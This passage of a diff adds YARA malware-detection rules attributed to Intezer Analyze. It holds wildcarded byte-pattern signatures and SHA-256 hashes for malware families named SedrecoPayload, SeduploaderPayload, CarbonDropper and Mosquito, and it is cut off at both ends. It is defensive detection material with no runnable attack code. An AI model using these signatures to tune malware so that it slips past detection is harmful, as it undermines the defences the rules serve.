+		hash.sha256(0, filesize) == "0c7cdbfc5226c3b94b17f70f5a82da016c054fe12b050ee7f3c28db900ea98a5" or
+		hash.sha256(0, filesize) == "423a0799efe41b28a8b765fa505699183c8278d5a7bf07658b3bd507bfa5346f" or
+		hash.sha256(0, filesize) == "966660738c9e3ec103c2f8fe361c8ac20647cacaa5153197fa1917e9da99082e" or
+		hash.sha256(0, filesize) == "1b5b7c0818ca68e7107ab18d89476314d854b02f0809f8c530fb4334a864c594" or
+		hash.sha256(0, filesize) == "1bab1a3e0e501d3c14652ecf60870e483ed4e90e500987c35489f17a44fef26c" or
+		hash.sha256(0, filesize) == "67ecc3b8c6057090c7982883e8d9d0389a8a8f6e8b00f9e9b73c45b008241322" or
+		hash.sha256(0, filesize) == "22c3718bf7df29555098738f77c3139dae39dcdd34b39dab72df04ade4cffa7f" or
+		hash.sha256(0, filesize) == "03ed773bde6c6a1ac3b24bde6003322df8d41d3d1c85109b8669c430b58d2f69" or
+		12 of them
+}
+
+rule SedrecoPayload {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8D ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? 5? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_1 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 4D ?? ?? 0F 84 }
+		$block_2 = { 8B ?? ?? ?? 83 ?? ?? 8B ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 74 }
+		$block_3 = { 33 ?? 33 ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 48 ?? ?? ?? ?? 0F 9C ?? 89 }
+		$block_4 = { 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 8B ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_6 = { 8D ?? ?? ?? ?? ?? 5? 5? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_7 = { 48 ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 85 ?? 48 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_8 = { 48 ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_10 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_11 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_12 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 45 ?? ?? 45 ?? ?? 48 ?? ?? FF 9? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 8D ?? ?? 8B ?? ?? 03 ?? 8B ?? ?? 89 ?? ?? 0F B6 ?? ?? ?? 89 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_14 = { 8D ?? ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_15 = { 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF D? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 8D ?? ?? C1 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 86 }
+		$block_17 = { 41 ?? ?? ?? ?? ?? 44 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 4D ?? ?? 44 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_18 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? FF 9? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_19 = { 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? 8B ?? 33 ?? B9 ?? ?? ?? ?? F7 ?? 8B ?? 39 ?? ?? ?? 0F 83 }
+		$block_20 = { 4C ?? ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$block_21 = { C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 68 ?? ?? ?? ?? FF D? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_22 = { 6A ?? 6A ?? 8D ?? ?? 5? 6A ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 83 ?? ?? 0F 84 }
+		$block_23 = { 8B ?? ?? 5? 6A ?? 8B ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_24 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? 5? 5? FF D? 85 ?? 0F 84 }
+		$block_25 = { 8D ?? ?? 5? 5? 6A ?? 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 83 ?? ?? 0F 85 }
+		$block_26 = { 5? 8D ?? ?? ?? 5? 5? 8D ?? ?? ?? 68 ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_27 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BE ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_28 = { 8D ?? ?? ?? ?? ?? 5? 5? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_29 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_30 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? 03 ?? ?? ?? 3B ?? ?? ?? ?? ?? ?? 0F 87 }
+		$block_31 = { 8B ?? ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 8B ?? ?? 6A ?? 5? FF D? 8B ?? 83 ?? ?? 0F 84 }
+		$block_32 = { 6A ?? 6A ?? 8D ?? ?? ?? 5? A1 ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_33 = { 8D ?? ?? 5? 5? 6A ?? 5? 5? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 83 ?? ?? 0F 85 }
+		$block_34 = { 0F 57 ?? 5? 8B ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_35 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_36 = { A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? 8B ?? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_37 = { 5? A1 ?? ?? ?? ?? 6A ?? FF 3? ?? ?? ?? ?? 8B ?? ?? FF D? 8B ?? 83 ?? ?? 0F 84 }
+		$block_38 = { FF 7? ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_39 = { 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? 8B ?? 33 ?? B9 ?? ?? ?? ?? F7 ?? 39 ?? ?? 0F 83 }
+		$block_40 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 8B ?? A1 ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_41 = { 0F B7 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 5? 5? 5? C3 }
+		$block_42 = { 8B ?? ?? ?? 4? 8A ?? 4? 88 ?? ?? ?? 8A ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 85 }
+		$block_43 = { A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 0F B6 ?? 03 ?? 88 ?? ?? FE ?? EB }
+		$block_44 = { 8B ?? ?? ?? ?? ?? 4? 83 ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 82 }
+		$block_45 = { A1 ?? ?? ?? ?? 8B ?? ?? 68 ?? ?? ?? ?? FF D? A1 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_46 = { A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? FF D? A1 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_47 = { 5? 8B ?? 83 ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? 5? C7 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_48 = { 33 ?? 8B ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_49 = { A1 ?? ?? ?? ?? 6A ?? 8B ?? ?? ?? ?? ?? 6A ?? 6A ?? 5? FF D? 85 ?? 0F 84 }
+		$block_50 = { 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 0F B6 ?? 03 ?? 88 ?? ?? FE ?? EB }
+		$block_51 = { 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 03 ?? 8B ?? 3B ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_53 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? 0F 86 }
+		$block_54 = { BF ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_55 = { 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_56 = { 0F B6 ?? ?? ?? C6 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 }
+		$block_57 = { 33 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 5? ?? 85 ?? 0F 84 }
+		$block_58 = { 83 ?? ?? ?? 8B ?? ?? 4? 83 ?? ?? 89 ?? ?? 89 ?? ?? 3B ?? ?? 0F 82 }
+		$block_59 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? FF 5? ?? 83 ?? ?? 0F 85 }
+		$block_60 = { 48 ?? ?? ?? ?? 8D ?? ?? 48 ?? ?? 8D ?? ?? 0F B6 ?? ?? 40 ?? ?? 74 }
+		$block_61 = { 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_62 = { 8D ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? C6 ?? ?? ?? 3B ?? 0F 86 }
+		$block_63 = { 83 ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_64 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_65 = { 8B ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_66 = { 44 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_67 = { 8B ?? ?? 0F B6 ?? ?? ?? 03 ?? 01 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_68 = { 8B ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? 5? 5? FF D? 83 ?? ?? 0F 85 }
+		$block_69 = { 83 ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_70 = { 4C ?? ?? 8D ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_71 = { 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_72 = { 4? 8B ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? ?? 0F 83 }
+		$block_73 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? 29 ?? ?? 0F 88 }
+		$block_74 = { B9 ?? ?? ?? ?? 01 ?? ?? 29 ?? ?? 4? 89 ?? ?? 3B ?? 0F 82 }
+		$block_75 = { FF 7? ?? A1 ?? ?? ?? ?? 5? 8B ?? ?? FF D? 83 ?? ?? 0F 85 }
+		$block_76 = { FF 1? ?? ?? ?? ?? 33 ?? 89 ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_77 = { 0F B6 ?? ?? 01 ?? ?? 0F B6 ?? 01 ?? ?? 83 ?? ?? 4? 75 }
+		$block_78 = { 8B ?? ?? 8D ?? ?? 03 ?? 2B ?? 89 ?? ?? 83 ?? ?? 0F 83 }
+		$block_79 = { 8D ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 83 }
+		$block_80 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 0F 84 }
+		$block_81 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 1F }
+		$block_82 = { A1 ?? ?? ?? ?? 8B ?? ?? FF D? 3D ?? ?? ?? ?? 0F 85 }
+		$block_83 = { 8B ?? ?? 8A ?? ?? ?? 0F B6 ?? 8D ?? ?? 83 ?? ?? 77 }
+		$block_84 = { 48 ?? ?? ?? ?? ?? ?? FF 5? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_85 = { 0F B7 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 03 ?? 8B ?? 66 }
+		$block_86 = { 8B ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 89 }
+		$block_87 = { 0F B6 ?? ?? 03 ?? 0F B6 ?? 03 ?? 83 ?? ?? 4? 75 }
+		$block_88 = { 8D ?? ?? 81 F? ?? ?? ?? ?? B8 ?? ?? ?? ?? 0F 44 }
+		$block_89 = { 0F B6 ?? ?? 03 ?? 0F B6 ?? 03 ?? 8D ?? ?? 4? 75 }
+		$block_90 = { 89 ?? ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_91 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 8D }
+		$block_92 = { 8D ?? ?? ?? 41 ?? ?? 03 ?? 2B ?? 83 ?? ?? 0F 83 }
+		$block_93 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_94 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 87 }
+
+	condition:
+		hash.sha256(0, filesize) == "ba1c02aa6c12794a33c4742e62cbda3c17def08732f3fbaeb801f1806770b9a0" or
+		hash.sha256(0, filesize) == "19d05f9a5eacb4acd748cfbf7640b842fd6ed1f4f25dc5bbe592e0e802f7ab0f" or
+		hash.sha256(0, filesize) == "74c404cfc6e8c752635b4d8a0488d0fb6801c7096fa5c1173660da0b05f44f9e" or
+		hash.sha256(0, filesize) == "37bf2c811842972314956434449fd294e793b43c1a7b37cfe41af4fcc07d329d" or
+		hash.sha256(0, filesize) == "11097a7a3336e0ab124fa921b94e3d51c4e9e4424e140e96127bfcf1c10ef110" or
+		hash.sha256(0, filesize) == "69a49e535d635b55efdc1c0e5e923891832089ab1fec0ea406f4798605e42ef1" or
+		hash.sha256(0, filesize) == "43e0f9b4cb9186ededff44a79db89627ce1be2fcd0d96d727aca525a0736efc9" or
+		hash.sha256(0, filesize) == "9a508287e3089d1d838271c9f19e659ea2d4b0a47de7faa7ad09191a758de862" or
+		hash.sha256(0, filesize) == "0260ed46bdf7d903ac06292a39568040fed63f4aae0a723216e53a2b29730052" or
+		hash.sha256(0, filesize) == "a939510f362c50cafee4d5a8d6c7db555a819e78e9f7614a243f6adc59190745" or
+		hash.sha256(0, filesize) == "a64340b35668f375a321cb7ee0e027391d875f64cf4f3780c83fb4e84a43c8f9" or
+		hash.sha256(0, filesize) == "baaf5fa70b68ec9c1847d8784227e0f2dcf48d02a203f7cbffc113f4cec0f006" or
+		hash.sha256(0, filesize) == "3580a48e47119fd36913b0108cce9b20a1adf0a2458c2b33f0d9a7df1fe140ef" or
+		hash.sha256(0, filesize) == "02be8ba0c1d64099f0529dab3251ee6e5602493085e54abe739659abc2ea050c" or
+		hash.sha256(0, filesize) == "a9dc96d45702538c2086a749ba2fb467ba8d8b603e513bdef62a024dfeb124cb" or
+		hash.sha256(0, filesize) == "c808c38fd8157e3e0fadadd6a1748e302bd0e69429697625f53ad692c539b241" or
+		12 of them
+}
+
+rule SeduploaderPayload {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 5? 5? 33 ?? 5? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 5? 8B ?? 83 ?? ?? 5? 8D ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_2 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? ?? 8D ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_3 = { 5? 33 ?? 6A ?? 5? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 5? 85 ?? 75 }
+		$block_4 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 8B ?? ?? 8B ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_5 = { FF 7? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 33 ?? 4? 85 ?? 5? 0F 45 ?? E8 ?? ?? ?? ?? 83 }
+		$block_6 = { 8B ?? 83 ?? ?? 89 ?? 33 ?? 39 ?? 0F 45 ?? 03 ?? 89 ?? ?? 8D ?? ?? 3B ?? 72 }
+		$block_7 = { 8D ?? ?? 89 ?? ?? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 5? 5? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_10 = { 5? 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_11 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? 5? 33 ?? 8B ?? 85 ?? 0F 84 }
+		$block_12 = { 85 ?? 89 ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F 44 }
+
+	condition:
+		hash.sha256(0, filesize) == "de660457cab011deedf4c1a142021b8702ab94ce71dc5e0c75300253e7db3ee0" or
+		12 of them
+}
+
+rule CarbonDropper_v3_71_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? A1 ?? ?? ?? ?? 88 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8A ?? ?? ?? ?? ?? 5? 89 ?? ?? 66 ?? ?? ?? ?? ?? 89 ?? ?? 0F B6 ?? ?? ?? ?? ?? 88 ?? ?? 8B ?? ?? ?? ?? ?? 5? 66 ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 5? 89 ?? ?? 8B ?? ?? ?? ?? ?? 88 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 66 ?? ?? ?? ?? ?? ?? 89 ?? ?? 33 ?? 8D ?? ?? ?? ?? ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? C6 ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 66 ?? ?? ?? 88 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 6A ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 5? 5? 6A ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 84 ?? 74 }
+		$block_1 = { 5? 8B ?? 83 ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? 33 ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? C6 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? C6 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 33 ?? 89 ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 5? 6A ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_2 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 5? 33 ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 88 ?? ?? E8 ?? ?? ?? ?? 33 ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 33 ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 33 ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 39 ?? ?? 0F 84 }
+		$block_3 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 5? 5? 33 ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? C6 ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 0F B7 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 8D ?? ?? 68 ?? ?? ?? ?? 5? FF D? 83 ?? ?? 6A ?? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { FF 1? ?? ?? ?? ?? 83 ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? FF D? 83 ?? ?? 8B ?? 68 ?? ?? ?? ?? 89 ?? ?? ?? FF D? 83 ?? ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_6 = { 5? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 5? 6A ?? FF D? 5? FF D? 8B ?? ?? 5? 6A ?? 8B ?? FF D? 5? FF D? 89 ?? ?? 8B ?? ?? 5? 6A ?? FF D? 5? FF D? 85 ?? 0F 84 }
+		$block_7 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 5? 6A ?? 6A ?? 5? 89 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_8 = { 8B ?? ?? ?? 8B ?? ?? ?? 5? 5? 6A ?? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_9 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "3b8bd0a0c6069f2d27d759340721b78fd289f92e0a13965262fea4e8907af122" or
+		10 of them
+}
+
+rule Mosquito {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 33 ?? 8D ?? ?? ?? BA ?? ?? ?? ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 76 }
+		$block_1 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 5? 68 ?? ?? ?? ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 3B ?? 0F 8C }
